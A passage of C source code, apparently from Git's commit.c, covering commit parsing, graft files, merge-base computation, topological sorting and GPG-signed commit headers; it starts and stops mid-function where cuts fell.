graft->sha1))\n\t\tgoto bad_graft_data;\n\tfor (i = 40; i < len; i += 41) {\n\t\tif (buf[i] != ' ')\n\t\t\tgoto bad_graft_data;\n\t\tif (get_sha1_hex(buf + i + 1, graft->parent[i/41]))\n\t\t\tgoto bad_graft_data;\n\t}\n\treturn graft;\n\nbad_graft_data:\n\terror(\"bad graft data: %s\", buf);\n\tfree(graft);\n\treturn NULL;\n}\n\nstatic int read_graft_file(const char *graft_file)\n{\n\tFILE *fp = fopen(graft_file, \"r\");\n\tchar buf[1024];\n\tif (!fp)\n\t\treturn -1;\n\twhile (fgets(buf, sizeof(buf), fp)) {\n\t\t/* The format is just \"Commit Parent1 Parent2 ...\\n\" */\n\t\tint len = strlen(buf);\n\t\tstruct commit_graft *graft = read_graft_line(buf, len);\n\t\tif (!graft)\n\t\t\tcontinue;\n\t\tif (register_commit_graft(graft, 1))\n\t\t\terror(\"duplicate graft data: %s\", buf);\n\t}\n\tfclose(fp);\n\treturn 0;\n}\n\nstatic void prepare_commit_graft(void)\n{\n\tstatic int commit_graft_prepared;\n\tchar *graft_file;\n\n\tif (commit_graft_prepared)\n\t\treturn;\n\tgraft_file = get_graft_file();\n\tread_graft_file(graft_file);\n\t/* make sure shallows are read */\n\tis_repository_shallow();\n\tcommit_graft_prepared = 1;\n}\n\nstruct commit_graft *lookup_commit_graft(const unsigned char *sha1)\n{\n\tint pos;\n\tprepare_commit_graft();\n\tpos = commit_graft_pos(sha1);\n\tif (pos < 0)\n\t\treturn NULL;\n\treturn commit_graft[pos];\n}\n\nint for_each_commit_graft(each_commit_graft_fn fn, void *cb_data)\n{\n\tint i, ret;\n\tfor (i = ret = 0; i < commit_graft_nr && !ret; i++)\n\t\tret = fn(commit_graft[i], cb_data);\n\treturn ret;\n}\n\nint unregister_shallow(const unsigned char *sha1)\n{\n\tint pos = commit_graft_pos(sha1);\n\tif (pos < 0)\n\t\treturn -1;\n\tif (pos + 1 < commit_graft_nr)\n\t\tmemmove(commit_graft + pos, commit_graft + pos + 1,\n\t\t\t\tsizeof(struct commit_graft *)\n\t\t\t\t* (commit_graft_nr - pos - 1));\n\tcommit_graft_nr--;\n\treturn 0;\n}\n\nint parse_commit_buffer(struct commit *item, const void *buffer, unsigned long size)\n{\n\tconst char *tail = buffer;\n\tconst char *bufptr = buffer;\n\tunsigned char parent[20];\n\tstruct commit_list **pptr;\n\tstruct commit_graft *graft;\n\n\tif (item->object.parsed)\n\t\treturn 0;\n\titem->object.parsed = 1;\n\ttail += size;\n\tif (tail <= bufptr + 46 || memcmp(bufptr, \"tree \", 5) || bufptr[45] != '\\n')\n\t\treturn error(\"bogus commit object %s\", sha1_to_hex(item->object.sha1));\n\tif (get_sha1_hex(bufptr + 5, parent) < 0)\n\t\treturn error(\"bad tree pointer in commit %s\",\n\t\t\t     sha1_to_hex(item->object.sha1));\n\titem->tree = lookup_tree(parent);\n\tbufptr += 46; /* \"tree \" + \"hex sha1\" + \"\\n\" */\n\tpptr = &item->parents;\n\n\tgraft = lookup_commit_graft(item->object.sha1);\n\twhile (bufptr + 48 < tail && !memcmp(bufptr, \"parent \", 7)) {\n\t\tstruct commit *new_parent;\n\n\t\tif (tail <= bufptr + 48 ||\n\t\t    get_sha1_hex(bufptr + 7, parent) ||\n\t\t    bufptr[47] != '\\n')\n\t\t\treturn error(\"bad parents in commit %s\", sha1_to_hex(item->object.sha1));\n\t\tbufptr += 48;\n\t\t/*\n\t\t * The clone is shallow if nr_parent < 0, and we must\n\t\t * not traverse its real parents even when we unhide them.\n\t\t */\n\t\tif (graft && (graft->nr_parent < 0 || grafts_replace_parents))\n\t\t\tcontinue;\n\t\tnew_parent = lookup_commit(parent);\n\t\tif (new_parent)\n\t\t\tpptr = &commit_list_insert(new_parent, pptr)->next;\n\t}\n\tif (graft) {\n\t\tint i;\n\t\tstruct commit *new_parent;\n\t\tfor (i = 0; i < graft->nr_parent; i++) {\n\t\t\tnew_parent = lookup_commit(graft->parent[i]);\n\t\t\tif (!new_parent)\n\t\t\t\tcontinue;\n\t\t\tpptr = &commit_list_insert(new_parent, pptr)->next;\n\t\t}\n\t}\n\titem->date = parse_commit_date(bufptr, tail);\n\n\treturn 0;\n}\n\nint parse_commit(struct commit *item)\n{\n\tenum object_type type;\n\tvoid *buffer;\n\tunsigned long size;\n\tint ret;\n\n\tif (!item)\n\t\treturn -1;\n\tif (item->object.parsed)\n\t\treturn 0;\n\tbuffer = read_sha1_file(item->object.sha1, &type, &size);\n\tif (!buffer)\n\t\treturn error(\"Could not read %s\",\n\t\t\t     sha1_to_hex(item->object.sha1));\n\tif (type != OBJ_COMMIT) {\n\t\tfree(buffer);\n\t\treturn error(\"Object %s not a commit\",\n\t\t\t     sha1_to_hex(item->object.sha1));\n\t}\n\tret = parse_commit_buffer(item, buffer, size);\n\tif (save_commit_buffer && !ret) {\n\t\titem->buffer = buffer;\n\t\treturn 0;\n\t}\n\tfree(buffer);\n\treturn ret;\n}\n\nint find_commit_subject(const char *commit_buffer, const char **subject)\n{\n\tconst char *eol;\n\tconst char *p = commit_buffer;\n\n\twhile (*p && (*p != '\\n' || p[1] != '\\n'))\n\t\tp++;\n\tif (*p) {\n\t\tp += 2;\n\t\tfor (eol = p; *eol && *eol != '\\n'; eol++)\n\t\t\t; /* do nothing */\n\t} else\n\t\teol = p;\n\n\t*subject = p;\n\n\treturn eol - p;\n}\n\nstruct commit_list *commit_list_insert(struct commit *item, struct commit_list **list_p)\n{\n\tstruct commit_list *new_list = xmalloc(sizeof(struct commit_list));\n\tnew_list->item = item;\n\tnew_list->next = *list_p;\n\t*list_p = new_list;\n\treturn new_list;\n}\n\nunsigned commit_list_count(const struct commit_list *l)\n{\n\tunsigned c = 0;\n\tfor (; l; l = l->next )\n\t\tc++;\n\treturn c;\n}\n\nvoid free_commit_list(struct commit_list *list)\n{\n\twhile (list) {\n\t\tstruct commit_list *temp = list;\n\t\tlist = temp->next;\n\t\tfree(temp);\n\t}\n}\n\nstruct commit_list * commit_list_insert_by_date(struct commit *item, struct commit_list **list)\n{\n\tstruct commit_list **pp = list;\n\tstruct commit_list *p;\n\twhile ((p = *pp) != NULL) {\n\t\tif (p->item->date < item->date) {\n\t\t\tbreak;\n\t\t}\n\t\tpp = &p->next;\n\t}\n\treturn commit_list_insert(item, pp);\n}\n\nstatic int commit_list_compare_by_date(const void *a, const void *b)\n{\n\tunsigned long a_date = ((const struct commit_list *)a)->item->date;\n\tunsigned long b_date = ((const struct commit_list *)b)->item->date;\n\tif (a_date < b_date)\n\t\treturn 1;\n\tif (a_date > b_date)\n\t\treturn -1;\n\treturn 0;\n}\n\nstatic void *commit_list_get_next(const void *a)\n{\n\treturn ((const struct commit_list *)a)->next;\n}\n\nstatic void commit_list_set_next(void *a, void *next)\n{\n\t((struct commit_list *)a)->next = next;\n}\n\nvoid commit_list_sort_by_date(struct commit_list **list)\n{\n\t*list = llist_mergesort(*list, commit_list_get_next, commit_list_set_next,\n\t\t\t\tcommit_list_compare_by_date);\n}\n\nstruct commit *pop_most_recent_commit(struct commit_list **list,\n\t\t\t\t      unsigned int mark)\n{\n\tstruct commit *ret = (*list)->item;\n\tstruct commit_list *parents = ret->parents;\n\tstruct commit_list *old = *list;\n\n\t*list = (*list)->next;\n\tfree(old);\n\n\twhile (parents) {\n\t\tstruct commit *commit = parents->item;\n\t\tif (!parse_commit(commit) && !(commit->object.flags & mark)) {\n\t\t\tcommit->object.flags |= mark;\n\t\t\tcommit_list_insert_by_date(commit, list);\n\t\t}\n\t\tparents = parents->next;\n\t}\n\treturn ret;\n}\n\nstatic void clear_commit_marks_1(struct commit_list **plist,\n\t\t\t\t struct commit *commit, unsigned int mark)\n{\n\twhile (commit) {\n\t\tstruct commit_list *parents;\n\n\t\tif (!(mark & commit->object.flags))\n\t\t\treturn;\n\n\t\tcommit->object.flags &= ~mark;\n\n\t\tparents = commit->parents;\n\t\tif (!parents)\n\t\t\treturn;\n\n\t\twhile ((parents = parents->next))\n\t\t\tcommit_list_insert(parents->item, plist);\n\n\t\tcommit = commit->parents->item;\n\t}\n}\n\nvoid clear_commit_marks(struct commit *commit, unsigned int mark)\n{\n\tstruct commit_list *list = NULL;\n\tcommit_list_insert(commit, &list);\n\twhile (list)\n\t\tclear_commit_marks_1(&list, pop_commit(&list), mark);\n}\n\nvoid clear_commit_marks_for_object_array(struct object_array *a, unsigned mark)\n{\n\tstruct object *object;\n\tstruct commit *commit;\n\tunsigned int i;\n\n\tfor (i = 0; i < a->nr; i++) {\n\t\tobject = a->objects[i].item;\n\t\tcommit = lookup_commit_reference_gently(object->sha1, 1);\n\t\tif (commit)\n\t\t\tclear_commit_marks(commit, mark);\n\t}\n}\n\nstruct commit *pop_commit(struct commit_list **stack)\n{\n\tstruct commit_list *top = *stack;\n\tstruct commit *item = top ? top->item : NULL;\n\n\tif (top) {\n\t\t*stack = top->next;\n\t\tfree(top);\n\t}\n\treturn item;\n}\n\n/*\n * Performs an in-place topological sort on the list supplied.\n */\nvoid sort_in_topological_order(struct commit_list ** list, int lifo)\n{\n\tstruct commit_list *next, *orig = *list;\n\tstruct commit_list *work, **insert;\n\tstruct commit_list **pptr;\n\n\tif (!orig)\n\t\treturn;\n\t*list = NULL;\n\n\t/* Mark them and clear the indegree */\n\tfor (next = orig; next; next = next->next) {\n\t\tstruct commit *commit = next->item;\n\t\tcommit->indegree = 1;\n\t}\n\n\t/* update the indegree */\n\tfor (next = orig; next; next = next->next) {\n\t\tstruct commit_list * parents = next->item->parents;\n\t\twhile (parents) {\n\t\t\tstruct commit *parent = parents->item;\n\n\t\t\tif (parent->indegree)\n\t\t\t\tparent->indegree++;\n\t\t\tparents = parents->next;\n\t\t}\n\t}\n\n\t/*\n\t * find the tips\n\t *\n\t * tips are nodes not reachable from any other node in the list\n\t *\n\t * the tips serve as a starting set for the work queue.\n\t */\n\twork = NULL;\n\tinsert = &work;\n\tfor (next = orig; next; next = next->next) {\n\t\tstruct commit *commit = next->item;\n\n\t\tif (commit->indegree == 1)\n\t\t\tinsert = &commit_list_insert(commit, insert)->next;\n\t}\n\n\t/* process the list in topological order */\n\tif (!lifo)\n\t\tcommit_list_sort_by_date(&work);\n\n\tpptr = list;\n\t*list = NULL;\n\twhile (work) {\n\t\tstruct commit *commit;\n\t\tstruct commit_list *parents, *work_item;\n\n\t\twork_item = work;\n\t\twork = work_item->next;\n\t\twork_item->next = NULL;\n\n\t\tcommit = work_item->item;\n\t\tfor (parents = commit->parents; parents ; parents = parents->next) {\n\t\t\tstruct commit *parent = parents->item;\n\n\t\t\tif (!parent->indegree)\n\t\t\t\tcontinue;\n\n\t\t\t/*\n\t\t\t * parents are only enqueued for emission\n\t\t\t * when all their children have been emitted thereby\n\t\t\t * guaranteeing topological order.\n\t\t\t */\n\t\t\tif (--parent->indegree == 1) {\n\t\t\t\tif (!lifo)\n\t\t\t\t\tcommit_list_insert_by_date(parent, &work);\n\t\t\t\telse\n\t\t\t\t\tcommit_list_insert(parent, &work);\n\t\t\t}\n\t\t}\n\t\t/*\n\t\t * work_item is a commit all of whose children\n\t\t * have already been emitted. we can emit it now.\n\t\t */\n\t\tcommit->indegree = 0;\n\t\t*pptr = work_item;\n\t\tpptr = &work_item->next;\n\t}\n}\n\n/* merge-base stuff */\n\n/* bits #0..15 in revision.h */\n#define PARENT1\t\t(1u<<16)\n#define PARENT2\t\t(1u<<17)\n#define STALE\t\t(1u<<18)\n#define RESULT\t\t(1u<<19)\n\nstatic const unsigned all_flags = (PARENT1 | PARENT2 | STALE | RESULT);\n\nstatic struct commit *interesting(struct commit_list *list)\n{\n\twhile (list) {\n\t\tstruct commit *commit = list->item;\n\t\tlist = list->next;\n\t\tif (commit->object.flags & STALE)\n\t\t\tcontinue;\n\t\treturn commit;\n\t}\n\treturn NULL;\n}\n\nstatic struct commit_list *merge_bases_many(struct commit *one, int n, struct commit **twos)\n{\n\tstruct commit_list *list = NULL;\n\tstruct commit_list *result = NULL;\n\tint i;\n\n\tfor (i = 0; i < n; i++) {\n\t\tif (one == twos[i])\n\t\t\t/*\n\t\t\t * We do not mark this even with RESULT so we do not\n\t\t\t * have to clean it up.\n\t\t\t */\n\t\t\treturn commit_list_insert(one, &result);\n\t}\n\n\tif (parse_commit(one))\n\t\treturn NULL;\n\tfor (i = 0; i < n; i++) {\n\t\tif (parse_commit(twos[i]))\n\t\t\treturn NULL;\n\t}\n\n\tone->object.flags |= PARENT1;\n\tcommit_list_insert_by_date(one, &list);\n\tfor (i = 0; i < n; i++) {\n\t\ttwos[i]->object.flags |= PARENT2;\n\t\tcommit_list_insert_by_date(twos[i], &list);\n\t}\n\n\twhile (interesting(list)) {\n\t\tstruct commit *commit;\n\t\tstruct commit_list *parents;\n\t\tstruct commit_list *next;\n\t\tint flags;\n\n\t\tcommit = list->item;\n\t\tnext = list->next;\n\t\tfree(list);\n\t\tlist = next;\n\n\t\tflags = commit->object.flags & (PARENT1 | PARENT2 | STALE);\n\t\tif (flags == (PARENT1 | PARENT2)) {\n\t\t\tif (!(commit->object.flags & RESULT)) {\n\t\t\t\tcommit->object.flags |= RESULT;\n\t\t\t\tcommit_list_insert_by_date(commit, &result);\n\t\t\t}\n\t\t\t/* Mark parents of a found merge stale */\n\t\t\tflags |= STALE;\n\t\t}\n\t\tparents = commit->parents;\n\t\twhile (parents) {\n\t\t\tstruct commit *p = parents->item;\n\t\t\tparents = parents->next;\n\t\t\tif ((p->object.flags & flags) == flags)\n\t\t\t\tcontinue;\n\t\t\tif (parse_commit(p))\n\t\t\t\treturn NULL;\n\t\t\tp->object.flags |= flags;\n\t\t\tcommit_list_insert_by_date(p, &list);\n\t\t}\n\t}\n\n\t/* Clean up the result to remove stale ones */\n\tfree_commit_list(list);\n\tlist = result; result = NULL;\n\twhile (list) {\n\t\tstruct commit_list *next = list->next;\n\t\tif (!(list->item->object.flags & STALE))\n\t\t\tcommit_list_insert_by_date(list->item, &result);\n\t\tfree(list);\n\t\tlist = next;\n\t}\n\treturn result;\n}\n\nstruct commit_list *get_octopus_merge_bases(struct commit_list *in)\n{\n\tstruct commit_list *i, *j, *k, *ret = NULL;\n\tstruct commit_list **pptr = &ret;\n\n\tfor (i = in; i; i = i->next) {\n\t\tif (!ret)\n\t\t\tpptr = &commit_list_insert(i->item, pptr)->next;\n\t\telse {\n\t\t\tstruct commit_list *new = NULL, *end = NULL;\n\n\t\t\tfor (j = ret; j; j = j->next) {\n\t\t\t\tstruct commit_list *bases;\n\t\t\t\tbases = get_merge_bases(i->item, j->item, 1);\n\t\t\t\tif (!new)\n\t\t\t\t\tnew = bases;\n\t\t\t\telse\n\t\t\t\t\tend->next = bases;\n\t\t\t\tfor (k = bases; k; k = k->next)\n\t\t\t\t\tend = k;\n\t\t\t}\n\t\t\tret = new;\n\t\t}\n\t}\n\treturn ret;\n}\n\nstruct commit_list *get_merge_bases_many(struct commit *one,\n\t\t\t\t\t int n,\n\t\t\t\t\t struct commit **twos,\n\t\t\t\t\t int cleanup)\n{\n\tstruct commit_list *list;\n\tstruct commit **rslt;\n\tstruct commit_list *result;\n\tint cnt, i, j;\n\n\tresult = merge_bases_many(one, n, twos);\n\tfor (i = 0; i < n; i++) {\n\t\tif (one == twos[i])\n\t\t\treturn result;\n\t}\n\tif (!result || !result->next) {\n\t\tif (cleanup) {\n\t\t\tclear_commit_marks(one, all_flags);\n\t\t\tfor (i = 0; i < n; i++)\n\t\t\t\tclear_commit_marks(twos[i], all_flags);\n\t\t}\n\t\treturn result;\n\t}\n\n\t/* There are more than one */\n\tcnt = 0;\n\tlist = result;\n\twhile (list) {\n\t\tlist = list->next;\n\t\tcnt++;\n\t}\n\trslt = xcalloc(cnt, sizeof(*rslt));\n\tfor (list = result, i = 0; list; list = list->next)\n\t\trslt[i++] = list->item;\n\tfree_commit_list(result);\n\n\tclear_commit_marks(one, all_flags);\n\tfor (i = 0; i < n; i++)\n\t\tclear_commit_marks(twos[i], all_flags);\n\tfor (i = 0; i < cnt - 1; i++) {\n\t\tfor (j = i+1; j < cnt; j++) {\n\t\t\tif (!rslt[i] || !rslt[j])\n\t\t\t\tcontinue;\n\t\t\tresult = merge_bases_many(rslt[i], 1, &rslt[j]);\n\t\t\tclear_commit_marks(rslt[i], all_flags);\n\t\t\tclear_commit_marks(rslt[j], all_flags);\n\t\t\tfor (list = result; list; list = list->next) {\n\t\t\t\tif (rslt[i] == list->item)\n\t\t\t\t\trslt[i] = NULL;\n\t\t\t\tif (rslt[j] == list->item)\n\t\t\t\t\trslt[j] = NULL;\n\t\t\t}\n\t\t}\n\t}\n\n\t/* Surviving ones in rslt[] are the independent results */\n\tresult = NULL;\n\tfor (i = 0; i < cnt; i++) {\n\t\tif (rslt[i])\n\t\t\tcommit_list_insert_by_date(rslt[i], &result);\n\t}\n\tfree(rslt);\n\treturn result;\n}\n\nstruct commit_list *get_merge_bases(struct commit *one, struct commit *two,\n\t\t\t\t    int cleanup)\n{\n\treturn get_merge_bases_many(one, 1, &two, cleanup);\n}\n\nint is_descendant_of(struct commit *commit, struct commit_list *with_commit)\n{\n\tif (!with_commit)\n\t\treturn 1;\n\twhile (with_commit) {\n\t\tstruct commit *other;\n\n\t\tother = with_commit->item;\n\t\twith_commit = with_commit->next;\n\t\tif (in_merge_bases(other, &commit, 1))\n\t\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nint in_merge_bases(struct commit *commit, struct commit **reference, int num)\n{\n\tstruct commit_list *bases, *b;\n\tint ret = 0;\n\n\tif (num == 1)\n\t\tbases = get_merge_bases(commit, *reference, 1);\n\telse\n\t\tdie(\"not yet\");\n\tfor (b = bases; b; b = b->next) {\n\t\tif (!hashcmp(commit->object.sha1, b->item->object.sha1)) {\n\t\t\tret = 1;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tfree_commit_list(bases);\n\treturn ret;\n}\n\nstruct commit_list *reduce_heads(struct commit_list *heads)\n{\n\tstruct commit_list *p;\n\tstruct commit_list *result = NULL, **tail = &result;\n\tstruct commit **other;\n\tsize_t num_head, num_other;\n\n\tif (!heads)\n\t\treturn NULL;\n\n\t/* Avoid unnecessary reallocations */\n\tfor (p = heads, num_head = 0; p; p = p->next)\n\t\tnum_head++;\n\tother = xcalloc(sizeof(*other), num_head);\n\n\t/* For each commit, see if it can be reached by others */\n\tfor (p = heads; p; p = p->next) {\n\t\tstruct commit_list *q, *base;\n\n\t\t/* Do we already have this in the result? */\n\t\tfor (q = result; q; q = q->next)\n\t\t\tif (p->item == q->item)\n\t\t\t\tbreak;\n\t\tif (q)\n\t\t\tcontinue;\n\n\t\tnum_other = 0;\n\t\tfor (q = heads; q; q = q->next) {\n\t\t\tif (p->item == q->item)\n\t\t\t\tcontinue;\n\t\t\tother[num_other++] = q->item;\n\t\t}\n\t\tif (num_other)\n\t\t\tbase = get_merge_bases_many(p->item, num_other, other, 1);\n\t\telse\n\t\t\tbase = NULL;\n\t\t/*\n\t\t * If p->item does not have anything common with other\n\t\t * commits, there won't be any merge base.  If it is\n\t\t * reachable from some of the others, p->item will be\n\t\t * the merge base.  If its history is connected with\n\t\t * others, but p->item is not reachable by others, we\n\t\t * will get something other than p->item back.\n\t\t */\n\t\tif (!base || (base->item != p->item))\n\t\t\ttail = &(commit_list_insert(p->item, tail)->next);\n\t\tfree_commit_list(base);\n\t}\n\tfree(other);\n\treturn result;\n}\n\nstatic const char gpg_sig_header[] = \"gpgsig\";\nstatic const int gpg_sig_header_len = sizeof(gpg_sig_header) - 1;\n\nstatic int do_sign_commit(struct strbuf *buf, const char *keyid)\n{\n\tstruct strbuf sig = STRBUF_INIT;\n\tint inspos, copypos;\n\n\t/* find the end of the header */\n\tinspos = strstr(buf->buf, \"\\n\\n\") - buf->buf + 1;\n\n\tif (!keyid || !*keyid)\n\t\tkeyid = get_signing_key();\n\tif (sign_buffer(buf, &sig, keyid)) {\n\t\tstrbuf_release(&sig);\n\t\treturn -1;\n\t}\n\n\tfor (copypos = 0; sig.buf[copypos]; ) {\n\t\tconst char *bol = sig.buf + copypos;\n\t\tconst char *eol = strchrnul(bol, '\\n');\n\t\tint len = (eol - bol) + !!*eol;\n\n\t\tif (!copypos) {\n\t\t\tstrbuf_insert(buf, inspos, gpg_sig_header, gpg_sig_header_len);\n\t\t\tinspos += gpg_sig_header_len;\n\t\t}\n\t\tstrbuf_insert(buf, inspos++, \" \", 1);\n\t\tstrbuf_insert(buf, inspos, bol, len);\n\t\tinspos += len;\n\t\tcopypos += len;\n\t}\n\tstrbuf_release(&sig);\n\treturn 0;\n}\n\nint parse_signed_commit(const unsigned char *sha1,\n\t\t\tstruct strbuf *payload, struct strbuf *signature)\n{\n\tunsigned long size;\n\tenum object_type type;\n\tchar *buffer = read_sha1_file(sha1, &type, &size);\n\tint in_signature, saw_signature = -1;\n\tchar *line, *tail;\n\n\tif (!buffer || type != OBJ_COMMIT)\n\t\tgoto cleanup;\n\n\tline = buffer;\n\ttail = buffer + size;\n\tin_signature = 0;\n\tsaw_signature = 0;\n\twhile (line < tail) {\n\t\tconst char *sig = NULL;\n\t\tchar *next = memchr(line, '\\n', tail - line);\n\n\t\tnext = next ? next + 1 : tail;\n\t\tif (in_signature && line[0] == ' ')\n\t\t\tsig = line + 1;\n\t\telse if (!prefixcmp(line, gpg_sig_header) &&\n\t\t\t line[gpg_sig_header_len] == ' ')\n\t\t\tsig = line + gpg_sig_header_len + 1;\n\t\tif (sig) {\n\t\t\tstrbuf_add(signature, sig, next - sig);\n\t\t\tsaw_signature = 1;\n\t\t\tin_signature = 1;\n\t\t} else {\n\t\t\tif (*line == '\\n')\n\t\t\t\t/* dump the whole remainder of the buffer */\n\t\t\t\tnext = tail;\n\t\t\tstrbuf_add(payload, line, next - line);\n\t\t\tin_signature = 0;\n\t\t}\n\t\tline = next;\n\t}\n cleanup:\n\tfree(buffer);\n\treturn saw_signature;\n}\n\nstatic void handle_signed_tag(struct commit *parent, struct commit_extra_header ***tail)\n{\n\tstruct merge_remote_desc *desc;\n\tstruct commit_extra_header *mergetag;\n\tchar *buf;\n\tunsigned long size, len;\n\tenum object_type type;\n\n\tdesc = merge_remote_util(parent);\n\tif (!desc || !desc->obj)\n\t\treturn;\n\tbuf = read_sha1_file(desc->obj->sha1, &type, &size);\n\tif (!buf || type != OBJ_TAG)\n\t\tgoto free_return;\n\tlen = parse_signature(buf, size);\n\tif (size == len)\n\t\tgoto free_return;\n\t/*\n\t * We could verify this signature and either omit the tag when\n\t * it does not validate, but the integrator may not have the\n\t * public key of the signer of the tag he is merging, while a\n\t * later auditor may have it while auditing, so let's not run\n\t * verify-signed-buffer here for now...\n\t *\n\t * if (verify_signed_buffer(buf, len, buf + len, size - len, ...))\n\t *\twarn(\"warning: signed tag unverified.\");\n\t */\n\tmergetag = xcalloc(1, sizeof(*mergetag));\n\tmergetag->key = xstrdup(\"mergetag\");\n\tmergetag->value = buf;\n\tmergetag->len = size;\n\n\t**tail = mergetag;\n\t*tail = &mergetag->next;\n\treturn;\n\nfree_return:\n\tfree(buf);\n}\n\nvoid append_merge_tag_headers(struct commit_list *parents,\n\t\t\t      struct commit_extra_header ***tail)\n{\n\twhile (parents) {\n\t\tstruct commit *parent = parents->item;\n\t\thandle_signed_tag(parent, tail);\n\t\tparents = parents->next;\n\t}\n}\n\nstatic void add_extra_header(struct strbuf *buffer,\n\t\t\t     struct commit_extra_header *extra)\n{\n\tstrbuf_addstr(buffer, extra->key);\n\tif (extra->len)\n\t\tstrbuf_add_lines(buffer, \" \", extra->value, extra->len);\n\telse\n\t\tstrbuf_addch(buffer, '\\n');\n}\n\nstruct commit_extra_header *read_commit_extra_headers(struct commit *commit,\n\t\t\t\t\t\t      const char **exclude)\n{\n\tstruct commit_extra_header *extra = NULL;\n\tunsigned long size;\n\tenum object_type type;\n\tchar *buffer = read_sha1_file(commit->object.sha1, &type, &size);\n\tif (buffer && type == OBJ_COMMIT)\n\t\textra = read_commit_extra_header_lines(buffer, size, exclude);\n\tfree(buffer);\n\treturn extra;\n}\n\nstatic inline int standard_header_field(const char *field, size_t len)\n{\n\treturn ((len == 4 && !memcmp(field, \"tree \", 5)) ||\n\t\t(len == 6 && !memcmp(field, \"parent \", 7)) ||\n\t\t(len == 6 && !memcmp(field, \"author \", 7)) ||\n\t\t(len == 9 && !memcmp(field, \"committer \", 10)) ||\n\t\t(len == 8 && !memcmp(field, \"encoding \", 9)));\n}\n\nstatic int excluded_header_field(const char *field, size_t len, const char **exclude)\n{\n\tif (!exclude)\n\t\treturn 0;\n\n\twhile (*exclude) {\n\t\tsize_t xlen = strlen(*exclude);\n\t\tif (len == xlen &&\n\t\t    !memcmp(field, *exclude, xlen) && field[xlen] == ' ')\n\t\t\treturn 1;\n\t\texclude++;\n\t}\n\treturn 0;\n}\n\nstruct commit_extra_header *read_commit_extra_header_lines(const char *buffer, size_t size,\n\t\t\t\t\t\t\t   const char **exclude)\n{\n\tstruct commit_extra_header *extra = NULL, **tail = &extra, *it = NULL;\n\tconst char *line, *next, *eof, *eob;\n\tstruct strbuf buf = STRBUF_INIT;\n\n\tfor (line = buffer, eob = line + size;\n\t     line < eob && *line != '\\n';\n\t     line = next) {\n\t\tnext = memchr(line, '\\n', eob - line);\n\t\tnext = next ? next + 1 : eob;\n\t\tif (*line == ' ') {\n\t\t\t/* continuation */\n\t\t\tif (it)\n\t\t\t\tstrbuf_add(&buf, line + 1, next - (line + 1));\n\t\t\tcontinue;\n\t\t}\n\t\tif (it)\n\t\t\tit->value = strbuf_detach(&buf, &it->len);\n\t\tstrbuf_reset(&buf);\n\t\tit = NULL;\n\n\t\teof = strchr(line, ' ');\n\t\tif (next <= eof)\n\t\t\teof = next;\n\n\t\tif (standard_header_field(line, eof - line) ||\n\t\t    excluded_header_field(line, eof - line, exclude))\n\t\t\tcontinue;\n\n\t\tit = xcalloc(1, sizeof(*it));\n\t\tit->key = xmemdupz(line, eof-line);\n\t\t*tail = it;\n\t\ttail = &it->next;\n\t\tif (eof + 1 < next)\n\t\t\tstrbuf_add(&buf, eof + 1, next - (eof + 1));\n\t}\n\tif (it)\n\t\tit->value = strbuf_detach(&buf, &it->len);\n\treturn extra;\n}\n\nvoid free_commit_extra_headers(struct commit_extra_header *extra)\n{\n\twhile (extra) {\n\t\tstruct commit_extra_header *next = extra->next;\n\t\tfree(extra->key);\n\t\tfree(extra->value);\n\t\tfree(extra);\n\t\textra = next;\n\t}\n}\n\nint commit_tree(const struct strbuf *msg, unsigned char *tree,\n\t\tstruct commit_list *parents, unsigned char *ret,\n\t\tconst char *author, const char *sign_commit)\n{\n\tstruct commit_extra_header *extra = NULL, **tail = &extra;\n\tint result;\n\n\tappend_merge_tag_headers(parents, &tail);\n\tresult = commit_tree_extended(msg, tree, parents, ret,\n\t\t\t\t      author, sign_commit, extra);\n\tfree_commit_extra_headers(extra);\n\treturn result;\n}\n\nstatic const char commit_utf8_warn[] =\n\"Warning: commit message does not conform to UTF-8.\\n\"\n\"You may want to amend it after fixing the message, or set the config\\n\"\n\"variable i18n.commitencoding to the encoding your project uses.\\n\";\n\nint commit_tree_extended(const struct strbuf *msg, unsigned char *tree,\n\t\t\t struct commit_list *parents, unsigned char *ret,\n\t\t\t const char *author, const char *sign_commit,\n\t\t\t struct commit_extra_header *extra)\n{\n\tint result;\n\tint encoding_is_utf8;\n\tstruct strbuf buffer;\n\n\tassert_sha1_type(tree, OBJ_TREE);\n\n\tif (memchr(msg->buf, '\\0', msg->len))\n\t\treturn error(\"a NUL byte in commit log message not allowed.\");\n\n\t/* Not having i18n.commitencoding is the same as having utf-8 */\n\tencoding_is_utf8 = is_encoding_utf8(git_commit_encoding);\n\n\tstrbuf_init(&buffer, 8192); /* should avoid reallocs for the headers */\n\tstrbuf_addf(&buffer, \"tree %s\\n\", sha1_to_hex(tree));\n\n\t/*\n\t * NOTE! This ordering means that the same exact tree merged with a\n\t * different order of parents will be a _different_ changeset even\n\t * if everything else stays the same.\n\t */\n\twhile (parents) {\n\t\tstruct commit_list *next = parents->next;\n\t\tstruct commit *parent = parents->item;\n\n\t\tstrbuf_addf(&buffer, \"parent %s\\n\",\n\t\t\t    sha1_to_hex(parent->object.sha1));\n\t\tfree(parents);\n\t\tparents = next;\n\t}\n\n\t/* Person/date information */\n\tif (!author)\n\t\tauthor = git_author_info(IDENT_STRICT);\n\tstrbuf_addf(&buffer, \"author %s\\n\", author);\n\tstrbuf_addf(&buffer, \"committer %s\\n\", git_committer_info(IDENT_STRICT));\n\tif (!encoding_is_utf8)\n\t\tstrbuf_addf(&buffer, \"encoding %s\\n\", git_commit_encoding);\n\n\twhile (extra) {\n\t\tadd_extra_header(&buffer, extra);\n\t\textra = extra->next;\n\t}\n\tstrbuf_addch(&buffer, '\\n');\n\n\t/* And add the comment */\n\tstrbuf_addbuf(&buffer, msg);\n\n\t/* And check the encoding */\n\tif (encoding_is_utf8 && !is_utf8(buffer.buf))\n\t\tfprintf(stderr, commit_utf8_warn);\n\n\tif (sign_commit && do_sign_commit(&buffer, sign_commit))\n\t\treturn -1;\n\n\tresult = write_sha1_file(buffer.buf, buffer.len, commit_type, ret);\n\tstrbuf_release(&buffer);\n\treturn result;\n}\n\nstruct commit *get_merge_parent(const char *name)\n{\n\tstruct object *obj;\n\tstruct commit *commit;\n\tunsigned char sha1[20];\n\tif (get_sha1(name, sha1))\n\t\treturn NULL;\n\tobj = parse_object(sha1);\n\tcommit = (struct commit *)peel_to_type(name, 0, obj, OBJ_COMMIT);\n\tif (commit && !commit->util) {\n\t\tstruct merge_remote_desc *desc;\n\t\tdesc = xmalloc(sizeof(*desc));\n\t\tdesc->obj = obj;\n\t\tdesc->name = strdup(name);\n\t\tcommit->util = 